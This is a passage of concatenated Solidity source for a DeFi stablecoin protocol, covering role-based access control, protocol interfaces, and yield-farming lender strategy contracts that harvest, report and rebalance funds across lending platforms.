_; } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external override { require(account == _msgSender(), "71"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) internal { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) internal { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; /// @title IAccessControl /// @author Forked from OpenZeppelin /// @notice Interface for `AccessControl` contracts interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; interface IERC721 is IERC165 { function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IAccessControl.sol"; /// @title IFeeManagerFunctions /// @author Angle Core Team /// @dev Interface for the `FeeManager` contract interface IFeeManagerFunctions is IAccessControl { // ================================= Keepers =================================== function updateUsersSLP() external; function updateHA() external; // ================================= Governance ================================ function deployCollateral( address[] memory governorList, address guardian, address _perpetualManager ) external; function setFees( uint256[] memory xArray, uint64[] memory yArray, uint8 typeChange ) external; function setHAFees(uint64 _haFeeDeposit, uint64 _haFeeWithdraw) external; } /// @title IFeeManager /// @author Angle Core Team /// @notice Previous interface with additionnal getters for public variables and mappings /// @dev We need these getters as they are used in other contracts of the protocol interface IFeeManager is IFeeManagerFunctions { function stableMaster() external view returns (address); function perpetualManager() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IAccessControl.sol"; /// @title IGenericLender /// @author Yearn with slight modifications from Angle Core Team /// @dev Interface for the `GenericLender` contract, the base interface for contracts interacting /// with lending and yield farming platforms interface IGenericLender is IAccessControl { function lenderName() external view returns (string memory); function nav() external view returns (uint256); function strategy() external view returns (address); function apr() external view returns (uint256); function weightedApr() external view returns (uint256); function withdraw(uint256 amount) external returns (uint256); function emergencyWithdraw(uint256 amount) external; function deposit() external; function withdrawAll() external returns (bool); function hasAssets() external view returns (bool); function aprAfterDeposit(uint256 amount) external view returns (uint256); function sweep(address _token, address to) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; /// @title IOracle /// @author Angle Core Team /// @notice Interface for Angle's oracle contracts reading oracle rates from both UniswapV3 and Chainlink /// from just UniswapV3 or from just Chainlink interface IOracle { function read() external view returns (uint256); function readAll() external view returns (uint256 lowerRate, uint256 upperRate); function readLower() external view returns (uint256); function readUpper() external view returns (uint256); function readQuote(uint256 baseAmount) external view returns (uint256); function readQuoteLower(uint256 baseAmount) external view returns (uint256); function inBase() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IERC721.sol"; import "./IFeeManager.sol"; import "./IOracle.sol"; import "./IAccessControl.sol"; /// @title Interface of the contract managing perpetuals /// @author Angle Core Team /// @dev Front interface, meaning only user-facing functions interface IPerpetualManagerFront is IERC721Metadata { function openPerpetual( address owner, uint256 amountBrought, uint256 amountCommitted, uint256 maxOracleRate, uint256 minNetMargin ) external returns (uint256 perpetualID); function closePerpetual( uint256 perpetualID, address to, uint256 minCashOutAmount ) external; function addToPerpetual(uint256 perpetualID, uint256 amount) external; function removeFromPerpetual( uint256 perpetualID, uint256 amount, address to ) external; function liquidatePerpetuals(uint256[] memory perpetualIDs) external; function forceClosePerpetuals(uint256[] memory perpetualIDs) external; // ========================= External View Functions ============================= function getCashOutAmount(uint256 perpetualID, uint256 rate) external view returns (uint256, uint256); function isApprovedOrOwner(address spender, uint256 perpetualID) external view returns (bool); } /// @title Interface of the contract managing perpetuals /// @author Angle Core Team /// @dev This interface does not contain user facing functions, it just has functions that are /// interacted with in other parts of the protocol interface IPerpetualManagerFunctions is IAccessControl { // ================================= Governance ================================ function deployCollateral( address[] memory governorList, address guardian, IFeeManager feeManager, IOracle oracle_ ) external; function setFeeManager(IFeeManager feeManager_) external; function setHAFees( uint64[] memory _xHAFees, uint64[] memory _yHAFees, uint8 deposit ) external; function setTargetAndLimitHAHedge(uint64 _targetHAHedge, uint64 _limitHAHedge) external; function setKeeperFeesLiquidationRatio(uint64 _keeperFeesLiquidationRatio) external; function setKeeperFeesCap(uint256 _keeperFeesLiquidationCap, uint256 _keeperFeesClosingCap) external; function setKeeperFeesClosing(uint64[] memory _xKeeperFeesClosing, uint64[] memory _yKeeperFeesClosing) external; function setLockTime(uint64 _lockTime) external; function setBoundsPerpetual(uint64 _maxLeverage, uint64 _maintenanceMargin) external; function pause() external; function unpause() external; // ==================================== Keepers ================================ function setFeeKeeper(uint64 feeDeposit, uint64 feesWithdraw) external; // =============================== StableMaster ================================ function setOracle(IOracle _oracle) external; } /// @title IPerpetualManager /// @author Angle Core Team /// @notice Previous interface with additionnal getters for public variables interface IPerpetualManager is IPerpetualManagerFunctions { function poolManager() external view returns (address); function oracle() external view returns (address); function targetHAHedge() external view returns (uint64); function totalHedgeAmount() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IFeeManager.sol"; import "./IPerpetualManager.sol"; import "./IOracle.sol"; // Struct for the parameters associated to a strategy interacting with a collateral `PoolManager` // contract struct StrategyParams { // Timestamp of last report made by this strategy // It is also used to check if a strategy has been initialized uint256 lastReport; // Total amount the strategy is expected to have uint256 totalStrategyDebt; // The share of the total assets in the `PoolManager` contract that the `strategy` can access to. uint256 debtRatio; } /// @title IPoolManagerFunctions /// @author Angle Core Team /// @notice Interface for the collateral poolManager contracts handling each one type of collateral for /// a given stablecoin /// @dev Only the functions used in other contracts of the protocol are left here interface IPoolManagerFunctions { // ============================ Constructor ==================================== function deployCollateral( address[] memory governorList, address guardian, IPerpetualManager _perpetualManager, IFeeManager feeManager, IOracle oracle ) external; // ============================ Yield Farming ================================== function creditAvailable() external view returns (uint256); function debtOutstanding() external view returns (uint256); function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external; // ============================ Governance ===================================== function addGovernor(address _governor) external; function removeGovernor(address _governor) external; function setGuardian(address _guardian, address guardian) external; function revokeGuardian(address guardian) external; function setFeeManager(IFeeManager _feeManager) external; // ============================= Getters ======================================= function getBalance() external view returns (uint256); function getTotalAsset() external view returns (uint256); } /// @title IPoolManager /// @author Angle Core Team /// @notice Previous interface with additionnal getters for public variables and mappings /// @dev Used in other contracts of the protocol interface IPoolManager is IPoolManagerFunctions { function stableMaster() external view returns (address); function perpetualManager() external view returns (address); function token() external view returns (address); function feeManager() external view returns (address); function totalDebt() external view returns (uint256); function strategies(address _strategy) external view returns (StrategyParams memory); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IAccessControl.sol"; /// @title IStrategy /// @author Inspired by Yearn with slight changes from Angle Core Team /// @notice Interface for yield farming strategies interface IStrategy is IAccessControl { function estimatedAPR() external view returns (uint256); function poolManager() external view returns (address); function want() external view returns (address); function isActive() external view returns (bool); function estimatedTotalAssets() external view returns (uint256); function harvestTrigger(uint256 callCost) external view returns (bool); function harvest() external; function withdraw(uint256 _amountNeeded) external returns (uint256 amountFreed, uint256 _loss); function setEmergencyExit() external; function addGuardian(address _guardian) external; function revokeGuardian(address _guardian) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./BaseStrategyEvents.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; /// @title BaseStrategy /// @author Forked from https://github.com/yearn/yearn-managers/blob/master/contracts/BaseStrategy.sol /// @notice `BaseStrategy` implements all of the required functionalities to interoperate /// with the `PoolManager` Contract. /// @dev This contract should be inherited and the abstract methods implemented to adapt the `Strategy` /// to the particular needs it has to create a return. abstract contract BaseStrategy is BaseStrategyEvents, AccessControl { using SafeERC20 for IERC20; uint256 public constant BASE = 10**18; uint256 public constant SECONDSPERYEAR = 31556952; /// @notice Role for `PoolManager` only bytes32 public constant POOLMANAGER_ROLE = keccak256("POOLMANAGER_ROLE"); /// @notice Role for guardians and governors bytes32 public constant GUARDIAN_ROLE = keccak256("GUARDIAN_ROLE"); // ======================== References to contracts ============================ /// @notice Reference to the protocol's collateral `PoolManager` IPoolManager public poolManager; /// @notice Reference to the ERC20 farmed by this strategy IERC20 public want; /// @notice Base of the ERC20 token farmed by this strategy uint256 public wantBase; //@notice Reference to the ERC20 distributed as a reward by the strategy IERC20 public rewards; // ============================ Parameters ===================================== /// @notice The minimum number of seconds between harvest calls. See /// `setMinReportDelay()` for more details uint256 public minReportDelay; /// @notice The maximum number of seconds between harvest calls. See /// `setMaxReportDelay()` for more details uint256 public maxReportDelay; /// @notice Use this to adjust the threshold at which running a debt causes a /// harvest trigger. See `setDebtThreshold()` for more details uint256 public debtThreshold; /// @notice See note on `setEmergencyExit()` bool public emergencyExit; /// @notice The minimum amount moved for a call to `havest` to /// be "justifiable". See `setRewardAmountAndMinimumAmountMoved()` for more details uint256 public minimumAmountMoved; /// @notice Reward obtained by calling harvest /// @dev If this is null rewards is not currently being distributed uint256 public rewardAmount; // ============================ Constructor ==================================== /// @notice Constructor of the `BaseStrategy` /// @param _poolManager Address of the `PoolManager` lending collateral to this strategy /// @param _rewards The token given to reward keepers /// @param governorList List of the governor addresses of the protocol /// @param guardian Address of the guardian constructor( address _poolManager, IERC20 _rewards, address[] memory governorList, address guardian ) { poolManager = IPoolManager(_poolManager); want = IERC20(poolManager.token()); wantBase = 10**(IERC20Metadata(address(want)).decimals()); // The token given as a reward to keepers should be different from the token handled by the // strategy require(address(_rewards) != address(want), "92"); rewards = _rewards; // Initializing variables minReportDelay = 0; maxReportDelay = 86400; debtThreshold = 100 * BASE; minimumAmountMoved = 0; rewardAmount = 0; emergencyExit = false; // AccessControl // Governor is guardian so no need for a governor role // `PoolManager` is guardian as well to allow for more flexibility _setupRole(POOLMANAGER_ROLE, address(_poolManager)); for (uint256 i = 0; i < governorList.length; i++) { require(governorList[i] != address(0), "0"); _setupRole(GUARDIAN_ROLE, governorList[i]); } _setupRole(GUARDIAN_ROLE, guardian); _setRoleAdmin(POOLMANAGER_ROLE, POOLMANAGER_ROLE); _setRoleAdmin(GUARDIAN_ROLE, POOLMANAGER_ROLE); // Give `PoolManager` unlimited access (might save gas) want.safeIncreaseAllowance(address(poolManager), type(uint256).max); } // ========================== Core functions =================================== /// @notice Harvests the Strategy, recognizing any profits or losses and adjusting /// the Strategy's position. /// @dev In the rare case the Strategy is in emergency shutdown, this will exit /// the Strategy's position. /// @dev When `harvest()` is called, the Strategy reports to the Manager (via /// `poolManager.report()`), so in some cases `harvest()` must be called in order /// to take in profits, to borrow newly available funds from the Manager, or /// otherwise adjust its position. In other cases `harvest()` must be /// called to report to the Manager on the Strategy's position, especially if /// any losses have occurred. /// @dev As keepers may directly profit from this function, there may be front-running problems with miners bots, /// we may have to put an access control logic for this function to only allow white-listed addresses to act /// as keepers for the protocol function harvest() external { uint256 profit = 0; uint256 loss = 0; uint256 debtOutstanding = poolManager.debtOutstanding(); uint256 debtPayment = 0; if (emergencyExit) { // Free up as much capital as possible uint256 amountFreed = _liquidateAllPositions(); if (amountFreed < debtOutstanding) { loss = debtOutstanding - amountFreed; } else if (amountFreed > debtOutstanding) { profit = amountFreed - debtOutstanding; } debtPayment = debtOutstanding - loss; } else { // Free up returns for Manager to pull (profit, loss, debtPayment) = _prepareReturn(debtOutstanding); } emit Harvested(profit, loss, debtPayment, debtOutstanding); // Taking into account the rewards to distribute // This should be done before reporting to the `PoolManager` // because the `PoolManager` will update the params.lastReport of the strategy if (rewardAmount > 0) { uint256 lastReport = poolManager.strategies(address(this)).lastReport; if ( (block.timestamp - lastReport >= minReportDelay) && // Should not trigger if we haven't waited long enough since previous harvest ((block.timestamp - lastReport >= maxReportDelay) || // If hasn't been called in a while (debtPayment > debtThreshold) || // If the debt was too high (loss > 0) || // If some loss occured (minimumAmountMoved < want.balanceOf(address(this)) + profit)) // If the amount moved was significant ) { rewards.safeTransfer(msg.sender, rewardAmount); } } // Allows Manager to take up to the "harvested" balance of this contract, // which is the amount it has earned since the last time it reported to // the Manager. poolManager.report(profit, loss, debtPayment); // Check if free returns are left, and re-invest them _adjustPosition(); } /// @notice Withdraws `_amountNeeded` to `poolManager`. /// @param _amountNeeded How much `want` to withdraw. /// @return amountFreed How much `want` withdrawn. /// @return _loss Any realized losses /// @dev This may only be called by the `PoolManager` function withdraw(uint256 _amountNeeded) external onlyRole(POOLMANAGER_ROLE) returns (uint256 amountFreed, uint256 _loss) { // Liquidate as much as possible `want` (up to `_amountNeeded`) (amountFreed, _loss) = _liquidatePosition(_amountNeeded); // Send it directly back (NOTE: Using `msg.sender` saves some gas here) want.safeTransfer(msg.sender, amountFreed); // NOTE: Reinvest anything leftover on next `tend`/`harvest` } // ============================ View functions ================================= /// @notice Provides an accurate estimate for the total amount of assets /// (principle + return) that this Strategy is currently managing, /// denominated in terms of `want` tokens. /// This total should be "realizable" e.g. the total value that could /// *actually* be obtained from this Strategy if it were to divest its /// entire position based on current on-chain conditions. /// @return The estimated total assets in this Strategy. /// @dev Care must be taken in using this function, since it relies on external /// systems, which could be manipulated by the attacker to give an inflated /// (or reduced) value produced by this function, based on current on-chain /// conditions (e.g. this function is possible to influence through /// flashloan attacks, oracle manipulations, or other DeFi attack /// mechanisms). function estimatedTotalAssets() public view virtual returns (uint256); /// @notice Provides an indication of whether this strategy is currently "active" /// in that it is managing an active position, or will manage a position in /// the future. This should correlate to `harvest()` activity, so that Harvest /// events can be tracked externally by indexing agents. /// @return True if the strategy is actively managing a position. function isActive() public view returns (bool) { return estimatedTotalAssets() > 0; } /// @notice Provides a signal to the keeper that `harvest()` should be called. The /// keeper will provide the estimated gas cost that they would pay to call /// `harvest()`, and this function should use that estimate to make a /// determination if calling it is "worth it" for the keeper. This is not /// the only consideration into issuing this trigger, for example if the /// position would be negatively affected if `harvest()` is not called /// shortly, then this can return `true` even if the keeper might be "at a /// loss" /// @return `true` if `harvest()` should be called, `false` otherwise. /// @dev `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). /// @dev See `min/maxReportDelay`, `debtThreshold` to adjust the /// strategist-controlled parameters that will influence whether this call /// returns `true` or not. These parameters will be used in conjunction /// with the parameters reported to the Manager (see `params`) to determine /// if calling `harvest()` is merited. /// @dev This function has been tested in a branch different from the main branch function harvestTrigger() external view virtual returns (bool) { StrategyParams memory params = poolManager.strategies(address(this)); // Should not trigger if we haven't waited long enough since previous harvest if (block.timestamp - params.lastReport < minReportDelay) return false; // Should trigger if hasn't been called in a while if (block.timestamp - params.lastReport >= maxReportDelay) return true; // If some amount is owed, pay it back // NOTE: Since debt is based on deposits, it makes sense to guard against large // changes to the value from triggering a harvest directly through user // behavior. This should ensure reasonable resistance to manipulation // from user-initiated withdrawals as the outstanding debt fluctuates. uint256 outstanding = poolManager.debtOutstanding(); if (outstanding > debtThreshold) return true; // Check for profits and losses uint256 total = estimatedTotalAssets(); // Trigger if we have a loss to report if (total + debtThreshold < params.totalStrategyDebt) return true; uint256 profit = 0; if (total > params.totalStrategyDebt) profit = total - params.totalStrategyDebt; // We've earned a profit! // Otherwise, only trigger if it "makes sense" economically (gas cost // is <N% of value moved) uint256 credit = poolManager.creditAvailable(); return (minimumAmountMoved < credit + profit); } // ============================ Internal Functions ============================= /// @notice Performs any Strategy unwinding or other calls necessary to capture the /// "free return" this Strategy has generated since the last time its core /// position(s) were adjusted. Examples include unwrapping extra rewards. /// This call is only used during "normal operation" of a Strategy, and /// should be optimized to minimize losses as much as possible. /// /// This method returns any realized profits and/or realized losses /// incurred, and should return the total amounts of profits/losses/debt /// payments (in `want` tokens) for the Manager's accounting (e.g. /// `want.balanceOf(this) >= _debtPayment + _profit`). /// /// `_debtOutstanding` will be 0 if the Strategy is not past the configured /// debt limit, otherwise its value will be how far past the debt limit /// the Strategy is. The Strategy's debt limit is configured in the Manager. /// /// NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`. /// It is okay for it to be less than `_debtOutstanding`, as that /// should only used as a guide for how much is left to pay back. /// Payments should be made to minimize loss from slippage, debt, /// withdrawal fees, etc. /// /// See `poolManager.debtOutstanding()`. function _prepareReturn(uint256 _debtOutstanding) internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ); /// @notice Performs any adjustments to the core position(s) of this Strategy given /// what change the Manager made in the "investable capital" available to the /// Strategy. Note that all "free capital" in the Strategy after the report /// was made is available for reinvestment. Also note that this number /// could be 0, and you should handle that scenario accordingly. function _adjustPosition() internal virtual; /// @notice Liquidates up to `_amountNeeded` of `want` of this strategy's positions, /// irregardless of slippage. Any excess will be re-invested with `_adjustPosition()`. /// This function should return the amount of `want` tokens made available by the /// liquidation. If there is a difference between them, `_loss` indicates whether the /// difference is due to a realized loss, or if there is some other sitution at play /// (e.g. locked funds) where the amount made available is less than what is needed. /// /// NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained function _liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss); /// @notice Liquidates everything and returns the amount that got freed. /// This function is used during emergency exit instead of `_prepareReturn()` to /// liquidate all of the Strategy's positions back to the Manager. function _liquidateAllPositions() internal virtual returns (uint256 _amountFreed); /// @notice Override this to add all tokens/tokenized positions this contract /// manages on a *persistent* basis (e.g. not just for swapping back to /// want ephemerally). /// /// NOTE: Do *not* include `want`, already included in `sweep` below. /// /// Example: /// ``` /// function _protectedTokens() internal override view returns (address[] memory) { /// address[] memory protected = new address[](3); /// protected[0] = tokenA; /// protected[1] = tokenB; /// protected[2] = tokenC; /// return protected; /// } /// ``` function _protectedTokens() internal view virtual returns (address[] memory); // ============================== Governance =================================== /// @notice Activates emergency exit. Once activated, the Strategy will exit its /// position upon the next harvest, depositing all funds into the Manager as /// quickly as is reasonable given on-chain conditions. /// @dev This may only be called by the `PoolManager`, because when calling this the `PoolManager` should at the same /// time update the debt ratio /// @dev This function can only be called once by the `PoolManager` contract /// @dev See `poolManager.setEmergencyExit()` and `harvest()` for further details. function setEmergencyExit() external onlyRole(POOLMANAGER_ROLE) { emergencyExit = true; emit EmergencyExitActivated(); } /// @notice Used to change `rewards`. /// @param _rewards The address to use for pulling rewards. function setRewards(IERC20 _rewards) external onlyRole(GUARDIAN_ROLE) { require(address(_rewards) != address(0) && address(_rewards) != address(want), "92"); rewards = _rewards; emit UpdatedRewards(address(_rewards)); } /// @notice Used to change the reward amount and the `minimumAmountMoved` parameter /// @param _rewardAmount The new amount of reward given to keepers /// @param _minimumAmountMoved The new minimum amount of collateral moved for a call to `harvest` to be /// considered profitable and justifying a reward given to the keeper calling the function /// @dev A null reward amount corresponds to reward distribution being deactivated function setRewardAmountAndMinimumAmountMoved(uint256 _rewardAmount, uint256 _minimumAmountMoved) external onlyRole(GUARDIAN_ROLE) { rewardAmount = _rewardAmount; minimumAmountMoved = _minimumAmountMoved; emit UpdatedRewardAmountAndMinimumAmountMoved(_rewardAmount, _minimumAmountMoved); } /// @notice Used to change `minReportDelay`. `minReportDelay` is the minimum number /// of blocks that should pass for `harvest()` to be called. /// @param _delay The minimum number of seconds to wait between harvests. /// @dev For external keepers (such as the Keep3r network), this is the minimum /// time between jobs to wait. (see `harvestTrigger()` /// for more details.) function setMinReportDelay(uint256 _delay) external onlyRole(GUARDIAN_ROLE) { minReportDelay = _delay; emit UpdatedMinReportDelayed(_delay); } /// @notice Used to change `maxReportDelay`. `maxReportDelay` is the maximum number /// of blocks that should pass for `harvest()` to be called. /// @param _delay The maximum number of seconds to wait between harvests. /// @dev For external keepers (such as the Keep3r network), this is the maximum /// time between jobs to wait. (see `harvestTrigger()` /// for more details.) function setMaxReportDelay(uint256 _delay) external onlyRole(GUARDIAN_ROLE) { maxReportDelay = _delay; emit UpdatedMaxReportDelayed(_delay); } /// @notice Sets how far the Strategy can go into loss without a harvest and report /// being required. /// @param _debtThreshold How big of a loss this Strategy may carry without /// @dev By default this is 0, meaning any losses would cause a harvest which /// will subsequently report the loss to the Manager for tracking. (See /// `harvestTrigger()` for more details.) function setDebtThreshold(uint256 _debtThreshold) external onlyRole(GUARDIAN_ROLE) { debtThreshold = _debtThreshold; emit UpdatedDebtThreshold(_debtThreshold); } /// @notice Removes tokens from this Strategy that are not the type of tokens /// managed by this Strategy. This may be used in case of accidentally /// sending the wrong kind of token to this Strategy. /// /// Tokens will be sent to `governance()`. /// /// This will fail if an attempt is made to sweep `want`, or any tokens /// that are protected by this Strategy. /// /// This may only be called by governance. /// @param _token The token to transfer out of this `PoolManager`. /// @param to Address to send the tokens to. /// @dev /// Implement `_protectedTokens()` to specify any additional tokens that /// should be protected from sweeping in addition to `want`. function sweep(address _token, address to) external onlyRole(GUARDIAN_ROLE) { require(_token != address(want), "93"); address[] memory __protectedTokens = _protectedTokens(); for (uint256 i = 0; i < __protectedTokens.length; i++) // In the strategy we use so far, the only protectedToken is the want token // and this has been checked above require(_token != __protectedTokens[i], "93"); IERC20(_token).safeTransfer(to, IERC20(_token).balanceOf(address(this))); } // ============================ Manager functions ============================== /// @notice Adds a new guardian address and echoes the change to the contracts /// that interact with this collateral `PoolManager` /// @param _guardian New guardian address /// @dev This internal function has to be put in this file because Access Control is not defined /// in PoolManagerInternal function addGuardian(address _guardian) external virtual; /// @notice Revokes the guardian role and propagates the change to other contracts /// @param guardian Old guardian address to revoke function revokeGuardian(address guardian) external virtual; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../external/AccessControl.sol"; import "../interfaces/IStrategy.sol"; import "../interfaces/IPoolManager.sol"; /// @title BaseStrategyEvents /// @author Angle Core Team /// @notice Events used in the abstract `BaseStrategy` contract contract BaseStrategyEvents { // So indexers can keep track of this event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); event UpdatedMinReportDelayed(uint256 delay); event UpdatedMaxReportDelayed(uint256 delay); event UpdatedDebtThreshold(uint256 debtThreshold); event UpdatedRewards(address rewards); event UpdatedIsRewardActivated(bool activated); event UpdatedRewardAmountAndMinimumAmountMoved(uint256 _rewardAmount, uint256 _minimumAmountMoved); event EmergencyExitActivated(); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./StrategyEvents.sol"; /// @title Strategy /// @author Forked from https://github.com/Grandthrax/yearnV2-generic-lender-strat /// @notice A lender optimisation strategy for any ERC20 asset /// @dev This strategy works by taking plugins designed for standard lending platforms /// It automatically chooses the best yield generating platform and adjusts accordingly /// The adjustment is sub optimal so there is an additional option to manually set position contract Strategy is StrategyEvents, BaseStrategy { using SafeERC20 for IERC20; using Address for address; // ======================== References to contracts ============================ IGenericLender[] public lenders; // ======================== Parameters ========================================= uint256 public withdrawalThreshold = 1e14; // ============================== Constructor ================================== /// @notice Constructor of the `Strategy` /// @param _poolManager Address of the `PoolManager` lending to this strategy /// @param _rewards The token given to reward keepers. /// @param governorList List of addresses with governor privilege /// @param guardian Address of the guardian constructor( address _poolManager, IERC20 _rewards, address[] memory governorList, address guardian ) BaseStrategy(_poolManager, _rewards, governorList, guardian) { require(guardian != address(0) && address(_rewards) != address(0), "0"); } // ========================== Internal Mechanics =============================== /// @notice Frees up profit plus `_debtOutstanding`. /// @param _debtOutstanding Amount to withdraw /// @return _profit Profit freed by the call /// @return _loss Loss discovered by the call /// @return _debtPayment Amount freed to reimburse the debt /// @dev If `_debtOutstanding` is more than we can free we get as much as possible. function _prepareReturn(uint256 _debtOutstanding) internal override returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ) { _profit = 0; _loss = 0; //for clarity _debtPayment = _debtOutstanding; uint256 lentAssets = lentTotalAssets(); uint256 looseAssets = want.balanceOf(address(this)); uint256 total = looseAssets + lentAssets; if (lentAssets == 0) { // No position to harvest or profit to report if (_debtPayment > looseAssets) { // We can only return looseAssets _debtPayment = looseAssets; } return (_profit, _loss, _debtPayment); } uint256 debt = poolManager.strategies(address(this)).totalStrategyDebt; if (total > debt) { _profit = total - debt; uint256 amountToFree = _profit + _debtPayment; // We need to add outstanding to our profit // don't need to do logic if there is nothing to free if (amountToFree > 0 && looseAssets < amountToFree) { // Withdraw what we can withdraw _withdrawSome(amountToFree - looseAssets); uint256 newLoose = want.balanceOf(address(this)); // If we dont have enough money adjust _debtOutstanding and only change profit if needed if (newLoose < amountToFree) { if (_profit > newLoose) { _profit = newLoose; _debtPayment = 0; } else { _debtPayment = Math.min(newLoose - _profit, _debtPayment); } } } } else { // Serious loss should never happen but if it does lets record it accurately _loss = debt - total; uint256 amountToFree = _loss + _debtPayment; if (amountToFree > 0 && looseAssets < amountToFree) { // Withdraw what we can withdraw _withdrawSome(amountToFree - looseAssets); uint256 newLoose = want.balanceOf(address(this)); // If we dont have enough money adjust `_debtOutstanding` and only change profit if needed if (newLoose < amountToFree) { if (_loss > newLoose) { _loss = newLoose; _debtPayment = 0; } else { _debtPayment = Math.min(newLoose - _loss, _debtPayment); } } } } } /// @notice Estimates highest and lowest apr lenders among a `lendersList` /// @param lendersList List of all the lender contracts associated to this strategy /// @return _lowest The index of the lender in the `lendersList` with lowest apr /// @return _lowestApr The lowest apr /// @return _highest The index of the lender with highest apr /// @return _potential The potential apr of this lender if funds are moved from lowest to highest /// @dev `lendersList` is kept as a parameter to avoid multiplying reads in storage to the `lenders` /// array function _estimateAdjustPosition(IGenericLender[] memory lendersList) internal view returns ( uint256 _lowest, uint256 _lowestApr, uint256 _highest, uint256 _potential ) { //all loose assets are to be invested uint256 looseAssets = want.balanceOf(address(this)); // our simple algo // get the lowest apr strat // cycle through and see who could take its funds plus want for the highest apr _lowestApr = type(uint256).max; _lowest = 0; uint256 lowestNav = 0; uint256 highestApr = 0; _highest = 0; for (uint256 i = 0; i < lendersList.length; i++) { uint256 aprAfterDeposit = lendersList[i].aprAfterDeposit(looseAssets); if (aprAfterDeposit > highestApr) { highestApr = aprAfterDeposit; _highest = i; } if (lendersList[i].hasAssets()) { uint256 apr = lendersList[i].apr(); if (apr < _lowestApr) { _lowestApr = apr; _lowest = i; lowestNav = lendersList[i].nav(); } } } //if we can improve apr by withdrawing we do so _potential = lendersList[_highest].aprAfterDeposit(lowestNav + looseAssets); } /// @notice Function called by keepers to adjust the position /// @dev The algorithm moves assets from lowest return to highest /// like a very slow idiot bubble sort function _adjustPosition() internal override { // Emergency exit is dealt with at beginning of harvest if (emergencyExit) { return; } // Storing the `lenders` array in a cache variable IGenericLender[] memory lendersList = lenders; // We just keep all money in want if we dont have any lenders if (lendersList.length == 0) { return; } (uint256 lowest, uint256 lowestApr, uint256 highest, uint256 potential) = _estimateAdjustPosition(lendersList); if (potential > lowestApr) { // Apr should go down after deposit so won't be withdrawing from self lendersList[lowest].withdrawAll(); } 